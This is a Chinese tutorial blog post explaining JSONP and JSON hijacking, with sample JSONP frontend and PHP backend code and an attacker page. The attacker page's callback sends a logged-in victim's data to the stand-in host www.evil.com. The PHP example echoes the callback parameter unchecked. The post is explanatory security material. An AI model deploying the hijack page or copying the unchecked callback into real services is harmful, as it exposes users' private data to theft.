1. 程式人生 > >淺談JSON HiJacking攻擊

淺談JSON HiJacking攻擊

方式 www 完成 html 隱私 color alert 可讀性強 content

JSON HiJacking攻擊:

JSON劫持類似於CSRF攻擊,為了了解這種攻擊方式,我們先看一下Web開發中一種常用的跨域獲取數據的方式:JSONP。

先說一下JSON吧,JSON是一種數據格式,主要由字典(鍵值對)和列表兩種存在形式,並且這兩種形式也可以互相嵌套,非常多的應用於數據傳輸的過程中。由於JSON的可讀性強,並且很適合JavaScript這樣的語言處理,已經取代XML格式成為主流。

JSONP(JSON with Padding)是一個非官方的協議,是Web前端的JavaScript跨域獲取數據的一種方式。我們知道,JavaScript在讀寫數據時受到同源策略的限制,不可以讀寫其他域的數據,於是大家想出了這樣一種辦法:

前端html代碼:

<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function jsonpCallback(result) { 
        alert(result.a); 
        alert(result.b);
        alert(result.c); 
        for(var i in result) { 
            alert(i+":"+result[i]);
//循環輸出a:1,b:2,etc. } } </script> <script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>

後端的php代碼:

<?php 
//服務端返回JSON數據 
$arr=array(‘a‘=>1,‘b‘=>2,‘c‘=>3,‘d‘=>4,‘e‘=>5); 
$result=json_encode($arr); 
//echo $_GET[‘callback‘].‘("Hello,World!")‘; 
//echo $_GET[‘callback‘]."($result)";
//動態執行回調函數 
$callback=$_GET[‘callback‘]; echo $callback."($result)"; ?>

可以看到,前端先是定義了jsonpCallback函數來處理後端返回的JSON數據,然後利用script標簽的src屬性跨域獲取數據(前面說到帶src屬性的html標簽都可以跨域),並且把剛才定義的回調函數的名稱傳遞給了後端,於是後端構造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函數調用過程返回到前端執行,達到了跨域獲取數據的目的。

一句話描述JSONP:前端定義函數卻在後端完成調用然後回到前端執行!

明白了JSONP的調用過程之後,我們可以想象這樣的場景:

當用戶通過身份認證之後,前端會通過JSONP的方式從服務端獲取該用戶的隱私數據,然後在前端進行一些處理,如個性化顯示等等。這個JSONP的調用接口如果沒有做相應的防護,就容易受到JSON HiJacking的攻擊。

就以上面講JSONP的情景為例,攻擊者可以構造以下html頁面:

<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function hijack(result) { 
        var data = ‘‘;
        for(var i in result) {
            data += i + : + result[i];
        }
        new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把數據發送到攻擊者服務器上
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>

可以看到,攻擊者在頁面中構造了自己的回調函數,把獲取的數據都發送到了自己的服務器上。如果受害者在已經經過身份認證的情況下訪問了攻擊者構造的頁面,其隱私將暴露無疑。

我們用以下幾張圖來總結一下JSON HiJacking的攻擊過程:

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

(圖片來源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/)

淺談JSON HiJacking攻擊